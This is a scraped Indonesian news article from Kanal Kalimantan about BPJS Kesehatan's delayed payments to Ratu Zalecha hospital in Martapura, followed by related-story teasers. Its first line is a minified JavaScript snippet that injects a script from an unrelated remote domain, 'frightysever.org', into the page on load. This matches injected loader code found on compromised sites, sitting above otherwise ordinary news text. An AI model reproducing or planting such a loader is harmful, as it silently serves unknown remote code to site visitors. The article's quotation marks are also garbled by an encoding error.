(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin membenarkan pencairan pembayar tunggakan layanan kesehatan di rumah sakit Ratu Zalecha. Namun disinyalir penunggakan tersebut karena pengklaiman rumah sakit yang mengakibatkan hal tersebut terjadi.
Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza mengatakan, terkait tunggakan pembayaran terhadap RS Ratu Zalecha Martapura, bukan sebagai satu-satunya rumah sakit di Kalsel yang mengalami tunggakan. Karena hampir semua RS, bahkan sampai Rumahsakit Nasional juga mengalami hal serupa. “Saya rasa tidak cuma rumah sakit Ratu Zalecha yang mengalami tunggakan, semuanya mengalami hal yang sama,dan ini sudah terjadi secara nasional,†ujarnya.
Fakhriza menjelaskan, jangan sampai disalah artikan bahwa jika BPJS mengklaim contoh bulan Juli menunggak hingga sampai bulan Oktober. Sehingga menimbulkan kesan, ada penunggakan selama empat bulan. Padahal pengajuan Rumah Sakit yang dianggap molor penagihannya. “Contohnya seperti sekarang pengklaiman bulan Oktober ini harusnya sudah masuk bulan September kemaren, ini pengkalaimannya malah bulan Juli, nah itu terlambatnya dimana,†ujarnya.
Diakuinya, BPJS Kesehatan memang pernah mengalami keterlambatan bayar. Namun tidak pernah selama dua sampai tiga bahkan empat bulan seperti yang diisukan. Dijelaskan setelah domumen termal lengkap, BPJS Kesehatan berkewajiban untuk membayarnya. Ketika terlambat dari 15 hari pembayaran maka BPJS Kesehatan wajib untuk membayarkan dendanya sebanyak 1 persen.
“Keterlambatan pembayaran itu kebanyakan Rumah sakitnya juga yang terlambat untuk mengajukan klaimnya kepada kita,†akunya.
Sementara itu masih di tempat yang sama, usai rapat Kerja Komisi IV dengan Dinas Kesehatan dan BPJS Kesehatan, Direktur yang baru menjabat di Rumah Sakit Ratu Zalecha yakni dr Topik Norman, membenarkan bahwa ada keterlambatan pengajuan dari pihaknya. Hal ini karena masalah internal, namun sudah diselesaikan sepenuhnya.
Sementara mengenai penunggakan pembayaran BPJS kesehatan, sebelumnya memang ada penunggakan sebanyak kurang lebih Rp 10 miliar, namun sudah dibayarkan dan masih ada sekitar Rp 5 Miliar lagi masih belum dibayarkan oleh BPJS Kesehatan.
“Kita pahami kondisi BPJS seperti sekarang, dimana-mana memang begitu, memang sebelumnya ada tunggakan kekita sekitar Rp 10 Miliar, namun sudah dibayarkan hari ini tadi, walaupun setengahnya saja yaitu sekitar Rp 5 Miliar,†akunya.
Ketika disinggung pengaruh keterlambatan berdampak pada stock pembelian obat di rumah sakit Ratu Zalecha, Topik mengatakan tidak sepenuhnya rumah sakit tidak bisa membelikan obat namun diakui sebagaian memang begitu adanya mengingat anggaran yang dimiliki pihaknya memang terbatas. “Kalau dikatakan tidak bisa membeli stock obat tidak bisa juga dikatakan seperti itu, namun hanya saja mungkin tidak bisa maksimal mengingat duitnya memang tidak ada,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.